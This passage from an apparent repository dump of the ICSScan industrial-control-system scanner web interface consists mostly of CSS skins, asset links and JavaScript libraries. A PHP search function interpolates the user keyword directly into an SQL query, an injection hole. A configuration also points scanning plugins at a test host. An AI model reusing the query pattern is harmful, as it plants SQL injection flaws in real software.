0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(blue.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-blue { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-blue.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-blue.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-blue.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-blue.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-blue { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-blue.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-blue.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-blue.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-blue.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-blue, 54 | .iradio_square-blue { 55 | background-image: url(blue@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/blue.png -------------------------------------------------------------------------------- /web/css/skins/square/blue@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/blue@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/green.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, green 2 | ----------------------------------- */ 3 | .icheckbox_square-green, 4 | .iradio_square-green { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(green.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-green { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-green.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-green.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-green.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-green.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-green { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-green.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-green.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-green.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-green.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-green, 54 | .iradio_square-green { 55 | background-image: url(green@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/green.png -------------------------------------------------------------------------------- /web/css/skins/square/green@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/green@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/grey.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, grey 2 | ----------------------------------- */ 3 | .icheckbox_square-grey, 4 | .iradio_square-grey { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(grey.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-grey { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-grey.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-grey.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-grey.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-grey.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-grey { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-grey.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-grey.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-grey.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-grey.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-grey, 54 | .iradio_square-grey { 55 | background-image: url(grey@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/grey.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/grey.png -------------------------------------------------------------------------------- /web/css/skins/square/grey@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/grey@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/orange.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, orange 2 | ----------------------------------- */ 3 | .icheckbox_square-orange, 4 | .iradio_square-orange { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(orange.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-orange { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-orange.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-orange.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-orange.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-orange.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-orange { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-orange.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-orange.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-orange.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-orange.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-orange, 54 | .iradio_square-orange { 55 | background-image: url(orange@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/orange.png -------------------------------------------------------------------------------- /web/css/skins/square/orange@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/orange@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/pink.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, pink 2 | ----------------------------------- */ 3 | .icheckbox_square-pink, 4 | .iradio_square-pink { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(pink.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-pink { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-pink.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-pink.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-pink.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-pink.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-pink { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-pink.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-pink.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-pink.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-pink.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-pink, 54 | .iradio_square-pink { 55 | background-image: url(pink@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/pink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/pink.png -------------------------------------------------------------------------------- /web/css/skins/square/pink@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/pink@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/purple.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, purple 2 | ----------------------------------- */ 3 | .icheckbox_square-purple, 4 | .iradio_square-purple { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(purple.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-purple { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-purple.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-purple.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-purple.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-purple.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-purple { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-purple.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-purple.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-purple.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-purple.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-purple, 54 | .iradio_square-purple { 55 | background-image: url(purple@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/purple.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/purple.png -------------------------------------------------------------------------------- /web/css/skins/square/purple@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/purple@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/red.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, red 2 | ----------------------------------- */ 3 | .icheckbox_square-red, 4 | .iradio_square-red { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(red.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-red { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-red.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-red.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-red.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-red.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-red { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-red.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-red.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-red.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-red.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-red, 54 | .iradio_square-red { 55 | background-image: url(red@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/red.png -------------------------------------------------------------------------------- /web/css/skins/square/red@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/red@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/square.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, black 2 | ----------------------------------- */ 3 | .icheckbox_square, 4 | .iradio_square { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(square.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square, 54 | .iradio_square { 55 | background-image: url(square@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/square.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/square.png -------------------------------------------------------------------------------- /web/css/skins/square/square@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/square@2x.png -------------------------------------------------------------------------------- /web/css/skins/square/yellow.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Square skin, yellow 2 | ----------------------------------- */ 3 | .icheckbox_square-yellow, 4 | .iradio_square-yellow { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 22px; 11 | height: 22px; 12 | background: url(yellow.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_square-yellow { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_square-yellow.hover { 21 | background-position: -24px 0; 22 | } 23 | .icheckbox_square-yellow.checked { 24 | background-position: -48px 0; 25 | } 26 | .icheckbox_square-yellow.disabled { 27 | background-position: -72px 0; 28 | cursor: default; 29 | } 30 | .icheckbox_square-yellow.checked.disabled { 31 | background-position: -96px 0; 32 | } 33 | 34 | .iradio_square-yellow { 35 | background-position: -120px 0; 36 | } 37 | .iradio_square-yellow.hover { 38 | background-position: -144px 0; 39 | } 40 | .iradio_square-yellow.checked { 41 | background-position: -168px 0; 42 | } 43 | .iradio_square-yellow.disabled { 44 | background-position: -192px 0; 45 | cursor: default; 46 | } 47 | .iradio_square-yellow.checked.disabled { 48 | background-position: -216px 0; 49 | } 50 | 51 | /* HiDPI support */ 52 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 53 | .icheckbox_square-yellow, 54 | .iradio_square-yellow { 55 | background-image: url(yellow@2x.png); 56 | -webkit-background-size: 240px 24px; 57 | background-size: 240px 24px; 58 | } 59 | } -------------------------------------------------------------------------------- /web/css/skins/square/yellow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/yellow.png -------------------------------------------------------------------------------- /web/css/skins/square/yellow@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/square/yellow@2x.png -------------------------------------------------------------------------------- /web/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /web/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /web/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /web/icsfind_add.php: -------------------------------------------------------------------------------- 1 | 4 | 10 | 11 | -------------------------------------------------------------------------------- /web/icsfind_search.php: -------------------------------------------------------------------------------- 1 | '; 11 | } 12 | else{ 13 | die(); 14 | } 15 | // echo $userid . '
'; 16 | // print $pLevel.$pKeyword; 17 | $query = "SELECT id,ip,protocol,info,time FROM ICSfind WHERE id > 0"; 18 | if ($pKeyword !='') { 19 | $query .= " AND ip LIKE '%$pKeyword%'"; 20 | } 21 | if (is_int($pId) and $pId>0) { 22 | $query .= " AND ID=$pId"; 23 | } 24 | 25 | // echo $query.'
'; 26 | 27 | $ret = array('data' => array(), ); 28 | $result = mysql_query($query); 29 | while ($row = mysql_fetch_row($result)){ 30 | // var_dump($row); 31 | foreach ($row as $key => $value){ 32 | // echo $key.' => '.$value; 33 | $row[$key] = check_xss($value); 34 | } 35 | $ret['data'][] = $row; 36 | // var_dump($row); 37 | } 38 | return $ret; 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /web/images/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/1.jpg -------------------------------------------------------------------------------- /web/images/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/2.jpg -------------------------------------------------------------------------------- /web/images/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/3.jpg -------------------------------------------------------------------------------- /web/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/favicon.ico -------------------------------------------------------------------------------- /web/images/help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/help.png -------------------------------------------------------------------------------- /web/images/ico/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/favicon.ico -------------------------------------------------------------------------------- /web/images/ico/lighting_hammer (2).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/lighting_hammer (2).png -------------------------------------------------------------------------------- /web/images/ico/lighting_hammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/lighting_hammer.png -------------------------------------------------------------------------------- /web/images/ico/lighting_hammer16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/lighting_hammer16.ico -------------------------------------------------------------------------------- /web/images/ico/lighting_hammer32.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/lighting_hammer32.ico -------------------------------------------------------------------------------- /web/images/ico/lighting_hammer48.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/ico/lighting_hammer48.ico -------------------------------------------------------------------------------- /web/images/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/logo.ico -------------------------------------------------------------------------------- /web/images/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/logo.jpg -------------------------------------------------------------------------------- /web/images/shop.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/shop.jpg -------------------------------------------------------------------------------- /web/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/sort_asc.png -------------------------------------------------------------------------------- /web/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/sort_both.png -------------------------------------------------------------------------------- /web/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/sort_desc.png -------------------------------------------------------------------------------- /web/images/subway.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/subway.jpg -------------------------------------------------------------------------------- /web/images/sunset.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/sunset.jpg -------------------------------------------------------------------------------- /web/images/wood.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/images/wood.jpg -------------------------------------------------------------------------------- /web/js/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014 Twitter, Inc. 4 | * Licensed under the Creative Commons Attribution 3.0 Unported License. For 5 | * details, see http://creativecommons.org/licenses/by/3.0/. 6 | */ 7 | 8 | // See the Getting Started docs for more information: 9 | // http://getbootstrap.com/getting-started/#support-ie10-width 10 | 11 | (function () { 12 | 'use strict'; 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | })(); 23 | -------------------------------------------------------------------------------- /web/js/jquery.pin.min.js: -------------------------------------------------------------------------------- 1 | (function(e){"use strict";e.fn.pin=function(t){var n=0,r=[],i=false,s=e(window);t=t||{};var o=function(){for(var n=0,o=r.length;n")}var h=e.extend({top:0,bottom:0},t.padding||{});u.data("pin",{pad:h,from:(t.containerSelector?l.top:f.top)-h.top,to:l.top+a.height()-u.outerHeight()-h.bottom,end:l.top+a.height(),parentTop:c.top});u.css({width:u.outerWidth()});u.parent().css("height",u.outerHeight())}};var u=function(){if(i){return}n=s.scrollTop();var o=[];for(var u=0,a=r.length;ul.end){f.css("position","");continue}if(cn){!(f.css("position")=="fixed")&&f.css({left:f.offset().left,top:l.pad.top}).css("position","fixed");if(t.activeClass){f.addClass(t.activeClass)}}else if(n>=h){f.css({left:"",top:h-l.parentTop+l.pad.top}).css("position","absolute");if(t.activeClass){f.addClass(t.activeClass)}}else{f.css({position:"",top:"",left:""});if(t.activeClass){f.removeClass(t.activeClass)}}}r=o};var a=function(){o();u()};this.each(function(){var t=e(this),n=e(this).data("pin")||{};if(n&&n.update){return}r.push(t);e("img",this).one("load",o);n.update=a;e(this).data("pin",n)});s.scroll(u);s.resize(function(){o()});o();s.load(a);return this}})(jQuery) -------------------------------------------------------------------------------- /web/js/jsoneditor.js: -------------------------------------------------------------------------------- 1 | var json = { 2 | "global": { 3 | "target": "http://testphp.vulnweb.com", 4 | "loglevel": "INFO", 5 | "threads": 4, 6 | "mode": "1", 7 | "timeout": 10, 8 | "gatherdepth": 1 9 | }, 10 | "plugins": { 11 | "Weak_Password": { 12 | "run": true 13 | }, 14 | "Sensitive_Info": { 15 | "run": true 16 | }, 17 | "Info_Collect": { 18 | "subdomain": true, 19 | "crawler": { 20 | "useragent": "", 21 | "cookies": "", 22 | "exlude": "", 23 | "isexlude": "0" 24 | }, 25 | "portscan": { 26 | "timeout": 20, 27 | "arguments": "just a test" 28 | }, 29 | "run": "1", 30 | "isneiborhost": true 31 | }, 32 | "System": { 33 | "run": true 34 | }, 35 | "Common": { 36 | "run": true 37 | }, 38 | "Others": { 39 | "run": true 40 | }, 41 | "Web_Applications": { 42 | "run": true 43 | } 44 | } 45 | }; 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /web/js/lang-apollo.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["com",/^#[^\n\r]*/,null,"#"],["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"']],[["kwd",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/, 2 | null],["typ",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[ES]?BANK=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],["lit",/^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[!-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["apollo","agc","aea"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-basic.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["str",/^"(?:[^\n\r"\\]|\\.)*(?:"|$)/,a,'"'],["pln",/^\s+/,a," \r\n\t\u00a0"]],[["com",/^REM[^\n\r]*/,a],["kwd",/^\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\b/,a],["pln",/^[a-z][^\W_]?(?:\$|%)?/i,a],["lit",/^(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?/i,a,"0123456789"],["pun", 3 | /^.[^\s\w"$%.]*/,a]]),["basic","cbm"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-clj.js: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2011 Google Inc. 